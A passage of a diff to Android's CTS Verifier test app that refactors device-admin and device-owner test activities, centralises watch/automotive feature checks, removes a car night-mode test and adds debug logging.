-            return deviceManager.getPasswordMinimumLength(admin);
-        }
-    }
-
-    static class MaximumFailedPasswordsForWipePolicy extends IntegerPolicyItem {
+    private static final class MaximumFailedPasswordsForWipePolicy extends IntegerPolicyItem {
 
         MaximumFailedPasswordsForWipePolicy(Context context) {
             super(context, R.string.da_maximum_failed_passwords_for_wipe,
@@ -481,7 +430,7 @@
         }
     }
 
-    static class MaximumTimeToLockPolicy extends LongPolicyItem {
+    private static final class MaximumTimeToLockPolicy extends LongPolicyItem {
 
         MaximumTimeToLockPolicy(Context context) {
             super(context, R.string.da_maximum_time_to_lock, "maximum-time-to-lock");
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/admin/tapjacking/OverlayingActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/admin/tapjacking/OverlayingActivity.java
index e81f301..da336c1 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/admin/tapjacking/OverlayingActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/admin/tapjacking/OverlayingActivity.java
@@ -21,8 +21,9 @@
 import static android.view.WindowManager.LayoutParams.FLAG_NOT_TOUCHABLE;
 import static android.view.WindowManager.LayoutParams.FLAG_NOT_TOUCH_MODAL;
 
+import static com.android.cts.verifier.features.FeatureUtil.isWatchOrAutomotive;
+
 import android.app.Activity;
-import android.content.pm.PackageManager;
 import android.os.Bundle;
 import android.view.WindowManager;
 
@@ -31,7 +32,7 @@
 
 public class OverlayingActivity extends Activity {
 
-    private static final long ACTIVITY_TIMEOUT_ON_WATCH = 10_000;
+    private static final long ACTIVITY_TIMEOUT = 10_000;
 
     @Override
     protected void onCreate(Bundle savedInstanceState) {
@@ -40,9 +41,11 @@
         WindowManager.LayoutParams params = getWindow().getAttributes();
         params.flags = FLAG_LAYOUT_NO_LIMITS | FLAG_NOT_TOUCH_MODAL | FLAG_NOT_TOUCHABLE
                 | FLAG_KEEP_SCREEN_ON;
-        if (getPackageManager().hasSystemFeature(PackageManager.FEATURE_WATCH)) {
+
+        if (isWatchOrAutomotive(this)) {
+            // Automatically finish the overlaying activity after a timeout.
             getWindow().getDecorView().postDelayed(() -> OverlayingActivity.this.finish(),
-                    ACTIVITY_TIMEOUT_ON_WATCH);
+                    ACTIVITY_TIMEOUT);
         }
     }
 }
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/car/NightModeTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/car/NightModeTestActivity.java
deleted file mode 100644
index 786dc57..0000000
--- a/apps/CtsVerifier/src/com/android/cts/verifier/car/NightModeTestActivity.java
+++ /dev/null
@@ -1,130 +0,0 @@
-/*
- * Copyright (C) 2019 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.android.cts.verifier.car;
-
-import android.car.Car;
-import android.car.hardware.CarPropertyConfig;
-import android.car.hardware.CarPropertyValue;
-import android.car.hardware.property.CarPropertyManager;
-import android.car.VehicleAreaType;
-import android.car.VehiclePropertyIds;
-import android.os.Bundle;
-import android.widget.TextView;
-import android.util.ArraySet;
-import android.util.Log;
-
-import com.android.cts.verifier.PassFailButtons;
-import com.android.cts.verifier.R;
-
-import java.util.Arrays;
-import java.util.List;
-
-/** A CTS Verifier test case to verify NIGHT_MODE is implemented correctly.*/
-public class NightModeTestActivity extends PassFailButtons.Activity {
-    private static final String TAG = NightModeTestActivity.class.getSimpleName();
-    private static final int TOTAL_MATCHES_NEEDED_TO_FINISH = 2;
-    private static final String TOTAL_TIMES_NEW_VALUE_MATCHED_INSTRUCTION =
-        "TotalTimesNewValueMatchedInstruction";
-    private static final String CURRENT_NIGHT_MODE_VALUE = "CurrentNightModeValue";
-    private Boolean mCurrentNightModeValue;
-    private TextView mInstructionTextView;
-    private TextView mCurrentNightModeValueTextView;
-    private int mTotalTimesNewValueMatchedInstruction = 0;
-
-    @Override
-    protected void onCreate(Bundle savedInstanceState) {
-        super.onCreate(savedInstanceState);
-
-        // Setup the UI.
-        setContentView(R.layout.night_mode_test);
-        setPassFailButtonClickListeners();
-        setInfoResources(R.string.night_mode_test, R.string.night_mode_test_desc, -1);
-        getPassButton().setEnabled(false);
-
-        mInstructionTextView = (TextView) findViewById(R.id.night_mode_instruction);
-        mInstructionTextView.setText("Waiting to get first NIGHT_MODE callback from Vehicle HAL");
-        mCurrentNightModeValueTextView = (TextView) findViewById(R.id.current_night_mode_value);
-
-
-        CarPropertyManager carPropertyManager =
-            (CarPropertyManager) Car.createCar(this).getCarManager(Car.PROPERTY_SERVICE);
-
-        if(!carPropertyManager.registerCallback(mCarPropertyEventCallback,
-            VehiclePropertyIds.NIGHT_MODE, CarPropertyManager.SENSOR_RATE_ONCHANGE)) {
-            mInstructionTextView.setText("ERROR: Unable to register for NIGHT_MODE callback");
-            Log.e(TAG, "Failed to register callback for NIGHT_MODE with CarPropertyManager");
-        }
-    }
-
-    // Need to save the state because of the UI Mode switch with the change in the NIGHT_MODE
-    // property value.
-    @Override
-    protected void onSaveInstanceState(final Bundle outState) {
-        super.onSaveInstanceState(outState);
-        outState.putBoolean(CURRENT_NIGHT_MODE_VALUE, mCurrentNightModeValue);
-        outState.putInt(TOTAL_TIMES_NEW_VALUE_MATCHED_INSTRUCTION,
-            mTotalTimesNewValueMatchedInstruction);
-    }
-
-    @Override
-    protected void onRestoreInstanceState(final Bundle savedInstanceState) {
-        super.onRestoreInstanceState(savedInstanceState);
-        mCurrentNightModeValue = savedInstanceState.getBoolean(CURRENT_NIGHT_MODE_VALUE);
-        mTotalTimesNewValueMatchedInstruction =
-            savedInstanceState.getInt(TOTAL_TIMES_NEW_VALUE_MATCHED_INSTRUCTION);
-    }
-
-    private final CarPropertyManager.CarPropertyEventCallback mCarPropertyEventCallback =
-      new CarPropertyManager.CarPropertyEventCallback() {
-        @Override
-        public void onChangeEvent(CarPropertyValue value) {
-            if(value.getStatus() != CarPropertyValue.STATUS_AVAILABLE) {
-                Log.e(TAG, "New CarPropertyValue's status is not available - propId: " +
-                    value.getPropertyId() + " status: " + value.getStatus());
-                return;
-            }
-
-            Boolean newValue = (Boolean) value.getValue();
-            Log.i(TAG, "New NIGHT_MODE value: " + newValue);
-
-            // On the first callback, mCurrentNightModeValue will be null, so just save the
-            // current value. All other callbacks, check if the NIGHT_MODE value has switched.
-            // If switched, update the count.
-            if (mCurrentNightModeValue != null && !mCurrentNightModeValue.equals(newValue)) {
-                mTotalTimesNewValueMatchedInstruction++;
-            }
-
-            mCurrentNightModeValue = newValue;
-            mCurrentNightModeValueTextView.setText(mCurrentNightModeValue.toString());
-
-            // Check if the test is finished. If not finished, update the instructions.
-            if(mTotalTimesNewValueMatchedInstruction >= TOTAL_MATCHES_NEEDED_TO_FINISH) {
-                mInstructionTextView.setText("Test Finished!");
-                getPassButton().setEnabled(true);
-            } else if(mCurrentNightModeValue) {
-                mInstructionTextView.setText("Toggle off NIGHT_MODE through Vehicle HAL");
-            } else {
-                mInstructionTextView.setText("Toggle on NIGHT_MODE through Vehicle HAL");
-            }
-        }
-
-        @Override
-        public void onErrorEvent(int propId, int zone) {
-            Log.e(TAG, "propId: " + propId + " zone: " + zone);
-        }
-      };
-}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/features/FeatureUtil.java b/apps/CtsVerifier/src/com/android/cts/verifier/features/FeatureUtil.java
index 4b188d8..e7bced9 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/features/FeatureUtil.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/features/FeatureUtil.java
@@ -73,6 +73,20 @@
     }
 
     /**
+     * Checks whether the device supports installing from unknown sources
+     */
+    public static boolean isInstallUnknownSourcesSupported(Context context) {
+        return !isWatchOrAutomotive(context);
+    }
+
+    /**
+     * Checks whether the device supports file transfer.
+     */
+    public static boolean isUsbFileTransferSupported(Context context) {
+        return !isWatchOrAutomotive(context);
+    }
+
+    /**
      * Checks whether the device is watch .
      */
     private static boolean isWatch(Context context) {
@@ -83,17 +97,32 @@
     /**
      * Checks whether the device is watch or automotive
      */
-    private static boolean isWatchOrAutomotive(Context context) {
+    public static boolean isWatchOrAutomotive(Context context) {
         PackageManager pm = context.getPackageManager();
         return pm.hasSystemFeature(PackageManager.FEATURE_WATCH)
                 || pm.hasSystemFeature(PackageManager.FEATURE_AUTOMOTIVE);
     }
 
     /**
+     * Checks whether the device is automotive
+     */
+    public static boolean isAutomotive(Context context) {
+        PackageManager pm = context.getPackageManager();
+        return pm.hasSystemFeature(PackageManager.FEATURE_AUTOMOTIVE);
+    }
+
+    /**
      * Checks whether the device supports managed secondary users.
      */
     public static boolean supportManagedSecondaryUsers(Context context) {
         return (context.getPackageManager().hasSystemFeature(PackageManager.FEATURE_MANAGED_USERS)
                 || UserManager.isHeadlessSystemUserMode()) && UserManager.supportsMultipleUsers();
     }
+
+    /**
+     * Checks whether the device shows keyguard when the user doesn't have credentials.
+     */
+    public static boolean isKeyguardShownWhenUserDoesntHaveCredentials(Context context) {
+        return !isAutomotive(context);
+    }
 }
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/CommandReceiverActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/CommandReceiverActivity.java
index 627ec44..7ee0ed13 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/CommandReceiverActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/CommandReceiverActivity.java
@@ -22,6 +22,7 @@
 
 import android.Manifest;
 import android.app.Activity;
+import android.app.ActivityManager;
 import android.app.KeyguardManager;
 import android.app.PendingIntent;
 import android.app.admin.DevicePolicyManager;
@@ -186,6 +187,7 @@
     private ComponentName mAdmin;
     private DevicePolicyManager mDpm;
     private UserManager mUm;
+    private ActivityManager mAm;
 
     @Override
     public void onCreate(Bundle savedInstanceState) {
@@ -200,10 +202,11 @@
             mDpm = TestAppSystemServiceFactory.getDevicePolicyManager(this,
                             DeviceAdminTestReceiver.class, forDeviceOwner);
 
-            mUm = (UserManager) getSystemService(Context.USER_SERVICE);
+            mUm = getSystemService(UserManager.class);
+            mAm = getSystemService(ActivityManager.class);
             mAdmin = DeviceAdminTestReceiver.getReceiverComponentName();
             final String command = intent.getStringExtra(EXTRA_COMMAND);
-            Log.i(TAG, "Command: " + command);
+            Log.i(TAG, "Command: " + command + " forDeviceOwner: " + forDeviceOwner);
             switch (command) {
                 case COMMAND_SET_USER_RESTRICTION: {
                     String restrictionKey = intent.getStringExtra(EXTRA_USER_RESTRICTION);
@@ -249,6 +252,9 @@
                 } break;
                 case COMMAND_SET_STATUSBAR_DISABLED: {
                     boolean enforced = intent.getBooleanExtra(EXTRA_ENFORCED, false);
+                    Log.d(TAG, "calling setStatusBarDisabled("
+                            + ComponentName.flattenToShortString(mAdmin) + ", " + enforced
+                            + ") using " + mDpm + " on user " + UserHandle.myUserId());
                     mDpm.setStatusBarDisabled(mAdmin, enforced);
                 } break;
                 case COMMAND_SET_LOCK_TASK_FEATURES: {
@@ -285,11 +291,12 @@
                         return;
                     }
                     clearAllPoliciesAndRestrictions();
+                    Log.i(TAG, "Clearing device owner app " + getPackageName());
                     mDpm.clearDeviceOwnerApp(getPackageName());
 
-                    // TODO(b/179100903): temporarily removing PO, should be done automatically
                     if (UserManager.isHeadlessSystemUserMode()) {
-                        Log.i(TAG, "Disabling PO on user " + UserHandle.myUserId());
+                        Log.i(TAG, "Clearing profile owner app (" + mAdmin.flattenToString()
+                                + " on user " + UserHandle.myUserId());
                         DevicePolicyManager localDpm = getSystemService(DevicePolicyManager.class);
                         localDpm.clearProfileOwner(mAdmin);
                     }
@@ -373,6 +380,7 @@
                     uninstallHelperPackage();
                 } break;
                 case COMMAND_SET_PERMISSION_GRANT_STATE: {
+                    Log.d(TAG, "Granting permission using " + mDpm);
                     mDpm.setPermissionGrantState(mAdmin, getPackageName(),
                             intent.getStringExtra(EXTRA_PERMISSION),
                             intent.getIntExtra(EXTRA_GRANT_STATE,
@@ -476,16 +484,22 @@
                     mDpm.setMaximumFailedPasswordsForWipe(mAdmin, 0);
                 } break;
                 case COMMAND_SET_DEFAULT_IME: {
-                    if (!mDpm.isDeviceOwnerApp(getPackageName())) {
+                    if (!mDpm.isDeviceOwnerApp(getPackageName())
+                            && !UserManager.isHeadlessSystemUserMode()) {
                         return;
                     }
+                    Log.d(TAG, "Setting " + Settings.Secure.DEFAULT_INPUT_METHOD + " using "
+                            + mDpm);
                     mDpm.setSecureSetting(mAdmin, Settings.Secure.DEFAULT_INPUT_METHOD,
                             getPackageName());
                 } break;
                 case COMMAND_CLEAR_DEFAULT_IME: {
-                    if (!mDpm.isDeviceOwnerApp(getPackageName())) {
+                    if (!mDpm.isDeviceOwnerApp(getPackageName())
+                            && !UserManager.isHeadlessSystemUserMode()) {
                         return;
                     }
+                    Log.d(TAG, "Clearing " + Settings.Secure.DEFAULT_INPUT_METHOD + " using "
+                            + mDpm);
                     mDpm.setSecureSetting(mAdmin, Settings.Secure.DEFAULT_INPUT_METHOD, null);
                 } break;
                 case COMMAND_CREATE_MANAGED_USER:{
@@ -497,8 +511,15 @@
                     UserHandle userHandle = mDpm.createAndManageUser(mAdmin, "managed user", mAdmin,
                             extras,
                             SKIP_SETUP_WIZARD | MAKE_USER_EPHEMERAL);
+                    Log.i(TAG, "Created user " + userHandle + "; setting affiliation ids to "
+                            + DeviceAdminTestReceiver.AFFILIATION_ID);
                     mDpm.setAffiliationIds(mAdmin,
                             Collections.singleton(DeviceAdminTestReceiver.AFFILIATION_ID));
+                    // TODO(b/204483021): move to helper class / restore after user is logged out
+                    if (UserManager.isHeadlessSystemUserMode()) {
+                        mAm.setStopUserOnSwitch(ActivityManager.STOP_USER_ON_SWITCH_FALSE);
+                    }
+                    Log.d(TAG, "Starting user " + userHandle);
                     mDpm.startUserInBackground(mAdmin, userHandle);
                 } break;
                 case COMMAND_CREATE_MANAGED_USER_WITHOUT_SETUP:{
@@ -689,6 +710,8 @@
 
     private static Intent createSetUserRestrictionIntent(String restriction, boolean enforced,
             boolean forceCurrentUserDpm) {
+        Log.d(TAG, "createSetUserRestrictionIntent(): restriction=" + restriction
+                + ", enforced=" + enforced + ", forceCurrentUserDpm=" + forceCurrentUserDpm);
         Intent intent = new Intent(ACTION_EXECUTE_COMMAND);
         if (forceCurrentUserDpm) {
             intent.putExtra(EXTRA_USE_CURRENT_USER_DPM, true);
@@ -730,6 +753,11 @@
         UserHandle userHandle = mDpm.createAndManageUser(mAdmin, "managed user", mAdmin,
                 extras,
                 SKIP_SETUP_WIZARD | MAKE_USER_EPHEMERAL);
+        // TODO(b/204483021): move to helper class / restore after user is logged out
+        if (UserManager.isHeadlessSystemUserMode()) {
+            mAm.setStopUserOnSwitch(ActivityManager.STOP_USER_ON_SWITCH_FALSE);
+        }
+        Log.d(TAG, "Switching to user " + userHandle);
         mDpm.switchUser(mAdmin, userHandle);
     }
 
@@ -743,4 +771,12 @@
 
         return resolveInfo.activityInfo.packageName;
     }
+
+    static Intent createIntentForDisablingKeyguardOrStatusBar(Context context, String command,
+            boolean disabled) {
+        return new Intent(context, CommandReceiverActivity.class)
+                .putExtra(CommandReceiverActivity.EXTRA_USE_CURRENT_USER_DPM, true)
+                .putExtra(CommandReceiverActivity.EXTRA_COMMAND, command)
+                .putExtra(CommandReceiverActivity.EXTRA_ENFORCED, disabled);
+    }
 }
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/DeviceAdminTestReceiver.java b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/DeviceAdminTestReceiver.java
index bb1d341..4b5bd53 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/DeviceAdminTestReceiver.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/DeviceAdminTestReceiver.java
@@ -43,6 +43,7 @@
 
 import java.util.Collections;
 import java.util.HashSet;
+import java.util.List;
 import java.util.Set;
 import java.util.function.Consumer;
 
@@ -74,16 +75,20 @@
         if (DeviceAdminReceiverUtils.disableSelf(context, intent)) return;
         if (DeviceOwnerHelper.runManagerMethod(this, context, intent)) return;
 
+        DevicePolicyManager dpm = getManager(context);
         String action = intent.getAction();
-        Log.d(TAG, "onReceive(): user=" + UserHandle.myUserId() + ", action=" + action);
+        Log.d(TAG, "onReceive(): user=" + UserHandle.myUserId() + ", action=" + action
+                + ", EXTRA_USER=" + intent.getExtra(Intent.EXTRA_USER)
+                + ", dpm=" + dpm);
 
         // Must set affiliation on headless system user, otherwise some operations in the current
         // user (which is PO) won't be allowed (like uininstalling a package)
         if (ACTION_DEVICE_ADMIN_ENABLED.equals(action) && UserManager.isHeadlessSystemUserMode()) {
-            Set<String> ids = new HashSet<>();
-            ids.add("affh!");
+            Set<String> ids = new HashSet<>(1);
+            ids.add(DeviceAdminTestReceiver.AFFILIATION_ID);
             Log.i(TAG, "Setting affiliation ids to " + ids);
-            getManager(context).setAffiliationIds(getWho(context), ids);
+            dpm.setAffiliationIds(getWho(context), ids);
+            Log.i(TAG, "Is affiliated: " + dpm.isAffiliatedUser());
         }
 
         super.onReceive(context, intent);
@@ -133,7 +138,8 @@
 
     @Override
     public void onEnabled(Context context, Intent intent) {
-        Log.i(TAG, "Device admin enabled");
+        int myUserId = UserHandle.myUserId();
+        Log.i(TAG, "Device admin enabled on user " + myUserId);
         if (intent.getBooleanExtra(EXTRA_MANAGED_USER_TEST, false)) {
             DevicePolicyManager dpm = context.getSystemService(DevicePolicyManager.class);
             ComponentName admin = getReceiverComponentName();
@@ -146,7 +152,7 @@
             bindPrimaryUserService(context, iCrossUserService -> {
                 try {
                     UserHandle userHandle = Process.myUserHandle();
-                    Log.d(TAG, "calling switchUser(" + userHandle + ")");
+                    Log.d(TAG, "calling switchUser(" + userHandle + ") from " + myUserId);
                     iCrossUserService.switchUser(userHandle);
                 } catch (RemoteException re) {
                     Log.e(TAG, "Error when calling primary user", re);
@@ -247,8 +253,10 @@
     private void bindPrimaryUserService(Context context, Consumer<ICrossUserService> consumer) {
         DevicePolicyManager devicePolicyManager = context.getSystemService(
                 DevicePolicyManager.class);
-        UserHandle primaryUser = devicePolicyManager.getBindDeviceAdminTargetUsers(
-                getReceiverComponentName()).get(0);
+        List<UserHandle> adminUsers = devicePolicyManager.getBindDeviceAdminTargetUsers(
+                getReceiverComponentName());
+        Log.d(TAG, "bindPrimaryUserService(): admins=" + adminUsers);
+        UserHandle primaryUser = adminUsers.get(0);
 
         Log.d(TAG, "Calling primary user: " + primaryUser);
         final ServiceConnection serviceConnection = new ServiceConnection() {
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/DeviceOwnerPositiveTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/DeviceOwnerPositiveTestActivity.java
index 37237c3..670c424 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/DeviceOwnerPositiveTestActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/DeviceOwnerPositiveTestActivity.java
@@ -18,6 +18,7 @@
 
 import static android.os.UserHandle.myUserId;
 
+import static com.android.cts.verifier.managedprovisioning.CommandReceiverActivity.createIntentForDisablingKeyguardOrStatusBar;
 import static com.android.cts.verifier.managedprovisioning.Utils.createInteractiveTestItem;
 
 import android.app.Activity;
@@ -31,7 +32,6 @@
 import android.provider.Settings;
 import android.util.Log;
 import android.view.View;
-import android.view.View.OnClickListener;
 
 import com.android.bedstead.dpmwrapper.TestAppSystemServiceFactory;
 import com.android.cts.verifier.ArrayTestListAdapter;
@@ -162,25 +162,25 @@
         setTestListAdapter(adapter);
 
         View setDeviceOwnerButton = findViewById(R.id.set_device_owner_button);
-        setDeviceOwnerButton.setOnClickListener(new OnClickListener() {
-            @Override
-            public void onClick(View v) {
-                StringBuilder builder = new StringBuilder();
-                if (UserManager.isHeadlessSystemUserMode()) {
-                    builder.append(getString(R.string.grant_headless_system_user_permissions));
-                }
-
-                String message = builder.append(getString(R.string.set_device_owner_dialog_text))
-                        .toString();
-                Log.i(TAG, message);
-                new AlertDialog.Builder(
-                        DeviceOwnerPositiveTestActivity.this)
-                        .setIcon(android.R.drawable.ic_dialog_info)
-                        .setTitle(R.string.set_device_owner_dialog_title)
-                        .setMessage(message)
-                        .setPositiveButton(android.R.string.ok, null)
-                        .show();
+        setDeviceOwnerButton.setOnClickListener((v) -> {
+            StringBuilder builder = new StringBuilder();
+            int messageResId;
+            if (UserManager.isHeadlessSystemUserMode()) {
+                builder.append(getString(R.string.grant_headless_system_user_permissions));
+                messageResId = R.string.set_device_owner_headless_dialog_text;
+            } else {
+                messageResId = R.string.set_device_owner_dialog_text;
             }
+
+            String message = builder.append(getString(messageResId)).toString();
+            Log.i(TAG, message);
+            new AlertDialog.Builder(
+                    DeviceOwnerPositiveTestActivity.this)
+                    .setIcon(android.R.drawable.ic_dialog_info)
+                    .setTitle(R.string.set_device_owner_dialog_title)
+                    .setMessage(message)
+                    .setPositiveButton(android.R.string.ok, null)
+                    .show();
         });
 
     }
@@ -353,8 +353,7 @@
         }
 
         // DISALLOW_USB_FILE_TRANSFER
-        // TODO(b/189282625): replace FEATURE_WATCH with a more specific feature
-        if (!packageManager.hasSystemFeature(PackageManager.FEATURE_WATCH)) {
+        if (FeatureUtil.isUsbFileTransferSupported(this)) {
             adapter.add(createInteractiveTestItem(this, DISALLOW_USB_FILE_TRANSFER_ID,
                     R.string.device_owner_disallow_usb_file_transfer_test,
                     R.string.device_owner_disallow_usb_file_transfer_test_info,
@@ -378,32 +377,35 @@
                     new ButtonInfo[] {
                             new ButtonInfo(
                                     R.string.device_owner_disable_statusbar_button,
-                                    createDeviceOwnerIntentWithBooleanParameter(
+                                    createIntentForDisablingKeyguardOrStatusBar(this,
                                             CommandReceiverActivity.COMMAND_SET_STATUSBAR_DISABLED,
-                                                    true)),
+                                            /* disabled= */ true)),
                             new ButtonInfo(
                                     R.string.device_owner_reenable_statusbar_button,
-                                    createDeviceOwnerIntentWithBooleanParameter(
+                                    createIntentForDisablingKeyguardOrStatusBar(this,
                                             CommandReceiverActivity.COMMAND_SET_STATUSBAR_DISABLED,
-                                                    false))}));
+                                            /* disabled= */ false))
+                    }));
         }
 
         // setKeyguardDisabled
-        if (isKeyguardShownWhenUserDoesntHaveCredentials() && Utils.isLockscreenSupported(this)) {
+        if (FeatureUtil.isKeyguardShownWhenUserDoesntHaveCredentials(this)
+                && Utils.isLockscreenSupported(this)) {
             adapter.add(createInteractiveTestItem(this, DISABLE_KEYGUARD_TEST_ID,
                     R.string.device_owner_disable_keyguard_test,
                     R.string.device_owner_disable_keyguard_test_info,
                     new ButtonInfo[] {
                             new ButtonInfo(
                                     R.string.device_owner_disable_keyguard_button,
-                                    createDeviceOwnerIntentWithBooleanParameter(
+                                    createIntentForDisablingKeyguardOrStatusBar(this,
                                             CommandReceiverActivity.COMMAND_SET_KEYGUARD_DISABLED,
-                                                    true)),
+                                            /* disabled= */ true)),
                             new ButtonInfo(
                                     R.string.device_owner_reenable_keyguard_button,
-                                    createDeviceOwnerIntentWithBooleanParameter(
+                                    createIntentForDisablingKeyguardOrStatusBar(this,
                                             CommandReceiverActivity.COMMAND_SET_KEYGUARD_DISABLED,
-                                                    false))}));
+                                            /* disabled= */ false))
+                    }));
         }
 
         // setLockTaskFeatures
@@ -504,20 +506,20 @@
                     R.string.device_owner_disallow_user_switch,
                     R.string.device_owner_disallow_user_switch_info,
                     new ButtonInfo[]{
-                            new ButtonInfo(
-                                    R.string.device_owner_disallow_user_switch_create_user,
+                            new ButtonInfo(R.string.device_owner_disallow_user_switch_create_user,
                                     createCreateManagedUserWithoutSetupIntent()),
-                            new ButtonInfo(
-                                    R.string.device_owner_user_restriction_set,
-                                    CommandReceiverActivity.createSetCurrentUserRestrictionIntent(
-                                            UserManager.DISALLOW_USER_SWITCH, true)),
-                            new ButtonInfo(
-                                    R.string.device_owner_settings_go,
+                            new ButtonInfo(R.string.device_owner_user_restriction_set,
+                                    CommandReceiverActivity
+                                            .createSetDeviceOwnerUserRestrictionIntent(
+                                                    UserManager.DISALLOW_USER_SWITCH,
+                                                    /* enforced= */ true)),
+                            new ButtonInfo(R.string.device_owner_settings_go,
                                     new Intent(Settings.ACTION_USER_SETTINGS)),
-                            new ButtonInfo(
-                                    R.string.device_owner_user_restriction_unset,
-                                    CommandReceiverActivity.createSetCurrentUserRestrictionIntent(
-                                            UserManager.DISALLOW_USER_SWITCH, false))
+                            new ButtonInfo(R.string.device_owner_user_restriction_unset,
+                                    CommandReceiverActivity
+                                            .createSetDeviceOwnerUserRestrictionIntent(
+                                                    UserManager.DISALLOW_USER_SWITCH,
+                                                    /* enforced= */ false))
             }));
 
             // DISALLOW_REMOVE_USER
@@ -635,12 +637,6 @@
                         CommandReceiverActivity.COMMAND_REMOVE_DEVICE_OWNER);
     }
 
-    private Intent createDeviceOwnerIntentWithBooleanParameter(String command, boolean value) {
-        return new Intent(this, CommandReceiverActivity.class)
-                .putExtra(CommandReceiverActivity.EXTRA_COMMAND, command)
-                .putExtra(CommandReceiverActivity.EXTRA_ENFORCED, value);
-    }
-
     private Intent createSetUserIconIntent(int iconRes) {
         return new Intent(this, CommandReceiverActivity.class)
                 .putExtra(CommandReceiverActivity.EXTRA_COMMAND,
@@ -721,11 +717,7 @@
         // Watches don't support the status bar so this is an ok proxy, but this is not the most
         // general test for that. TODO: add a test API to do a real check for status bar support.
         return !getPackageManager().hasSystemFeature(PackageManager.FEATURE_WATCH)
-                && !isAutomotive() && !isTelevision();
-    }
-
-    private boolean isKeyguardShownWhenUserDoesntHaveCredentials() {
-        return !isAutomotive();
+                && !isTelevision();
     }
 
     private boolean isSwipeToUnlockSupported() {
@@ -733,7 +725,7 @@
     }
 
     private boolean isAutomotive() {
-        return getPackageManager().hasSystemFeature(PackageManager.FEATURE_AUTOMOTIVE);
+        return FeatureUtil.isAutomotive(this);
     }
 
     private boolean isTelevision() {
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/DeviceOwnerRequestingBugreportTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/DeviceOwnerRequestingBugreportTestActivity.java
index 8d15ca9..4a4eae4 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/DeviceOwnerRequestingBugreportTestActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/DeviceOwnerRequestingBugreportTestActivity.java
@@ -16,6 +16,8 @@
 
 package com.android.cts.verifier.managedprovisioning;
 
+import static android.os.UserHandle.myUserId;
+
 import static com.android.cts.verifier.managedprovisioning.Utils.createInteractiveTestItem;
 
 import android.app.Activity;
@@ -24,8 +26,9 @@
 import android.content.Intent;
 import android.database.DataSetObserver;
 import android.os.Bundle;
+import android.os.UserManager;
+import android.util.Log;
 import android.view.View;
-import android.view.View.OnClickListener;
 
 import com.android.bedstead.dpmwrapper.TestAppSystemServiceFactory;
 import com.android.cts.verifier.ArrayTestListAdapter;
@@ -46,11 +49,20 @@
     private static final String TAG = "DeviceOwnerRequestingBugreportTestActivity";
 
     private static final String ACTION_CHECK_DEVICE_OWNER_FOR_REQUESTING_BUGREPORT =
-            "com.android.cts.verifier.managedprovisioning.action" +
-            ".CHECK_DEVICE_OWNER_FOR_REQUESTING_BUGREPORT";
+            "com.android.cts.verifier.managedprovisioning.action"
+                    + ".CHECK_DEVICE_OWNER_FOR_REQUESTING_BUGREPORT";
+    private static final String ACTION_CHECK_PROFILE_OWNER_FOR_REQUESTING_BUGREPORT =
+            "com.android.cts.verifier.managedprovisioning.action"
+                    + ".CHECK_PROFILE_OWNER_FOR_REQUESTING_BUGREPORT";
+    private static final String ACTION_CHECK_CURRENT_USER_AFFILIATED_FOR_REQUESTING_BUGREPORT =
+            "com.android.cts.verifier.managedprovisioning.action"
+                    + ".CHECK_CURRENT_USER_AFFILIATED_FOR_REQUESTING_BUGREPORT";
+
     static final String EXTRA_TEST_ID = "extra-test-id";
 
     private static final String CHECK_DEVICE_OWNER_TEST_ID = "CHECK_DEVICE_OWNER";
+    private static final String CHECK_PROFILE_OWNER_TEST_ID = "CHECK_PROFILE_OWNER";
+    private static final String CHECK_USER_AFFILIATED_TEST_ID = "CHECK_USER_AFFILIATED";
     private static final String DEVICE_ADMIN_SETTINGS_ID = "DEVICE_ADMIN_SETTINGS";
     private static final String BUGREPORT_SHARING_DECLINED_WHILE_BEING_TAKEN =
             "BUGREPORT_SHARING_DECLINED_WHILE_RUNNING";
@@ -65,18 +77,58 @@
     @Override
     protected void onCreate(Bundle savedInstanceState) {
         super.onCreate(savedInstanceState);
-        if (ACTION_CHECK_DEVICE_OWNER_FOR_REQUESTING_BUGREPORT.equals(getIntent().getAction())) {
-            DevicePolicyManager dpm = TestAppSystemServiceFactory.getDevicePolicyManager(this,
-                    DeviceAdminTestReceiver.class, /* forDeviceOwner= */ true);
-            if (dpm.isDeviceOwnerApp(getPackageName())) {
-                TestResult.setPassedResult(this, getIntent().getStringExtra(EXTRA_TEST_ID),
-                        null, null);
-            } else {
-                TestResult.setFailedResult(this, getIntent().getStringExtra(EXTRA_TEST_ID),
-                        getString(R.string.device_owner_incorrect_device_owner), null);
+
+        String action = getIntent().getAction();
+        Log.d(TAG, "onCreate(): action = " + action);
+        boolean validAction = true;
